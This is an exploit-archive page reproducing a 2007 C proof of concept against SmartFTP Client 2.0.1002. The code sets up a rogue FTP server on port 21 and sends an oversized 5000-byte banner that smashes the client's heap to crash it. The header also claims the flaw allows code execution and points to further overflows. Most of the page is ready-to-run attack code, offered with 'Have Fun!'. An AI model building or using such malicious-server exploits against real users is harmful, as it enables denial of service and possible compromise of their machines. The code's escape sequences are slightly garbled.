[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : SmartFTP Client 2.0.1002 Remote Heap Overflow DoS Exploit
# Published : 2007-02-06
# Author : Marsu
# Previous Title : FlashFXP 3.4.0 build 1145 Remote Buffer Overflow DoS Exploit
# Next Title : MS Internet Explorer 6 (mshtml.dll) Null Pointer Dereference Exploit


/***************************************************************************
*              SmartFTP Client v 2.0.1002 Heap Overflow DoS                *
*                                                                          *
*                                                                          *
* There is remote heap overflow in SmartFTP. When the app receives a long  *
* banner (5000 char) the heap is smashed, leading to DoS and to code       *
* execution.                                                               *
*                                                                          *
* There are also two buffer overflow in the fields Address and Login.      *
* I've reported this to Secunia but it seems they didn't think it was dan- *
* gerous cause they didn't publish anything about. However a simple drag'n *
* drop could compromise your system...                                     *
*                                                                          *
* Have Fun!                                                                *
*                                                                          *
* Coded by Marsu <Marsupilamipowa@hotmail.fr>                              *
***************************************************************************/



#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{

	char evilbuff[5000];
	sockaddr_in sin;
	int server,client;
	WSADATA wsaData;
	WSAStartup(MAKEWORD(1,1), &wsaData);

	server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	sin.sin_family = PF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_ANY);
	sin.sin_port = htons( 21 );
	bind(server,(SOCKADDR*)&sin,sizeof(sin));
	printf("[*] Listening on port 21...n");
	listen(server,5);
	printf("[*] Waiting for client ...n");
	client=accept(server,NULL,NULL);
	printf("[+] Client connectedn");

	memset(evilbuff,'A',5000);
	memcpy(evilbuff,"220 ",4);
	memcpy(evilbuff+4997,"rn",3);

	if (send(client,evilbuff,strlen(evilbuff),0)==-1)
	{
		printf("[-] Error in send!n");
		exit(-1);
	}
	printf("[+] Data sentn");

	Sleep(1500);

	if (send(client,"boom?",5,0)==-1)
	    printf("[+] Crashed? Crashed!n");
	else
		printf("[-] Exploit failed!n");

	return 0;
}

// www.Syue.com [2007-02-06]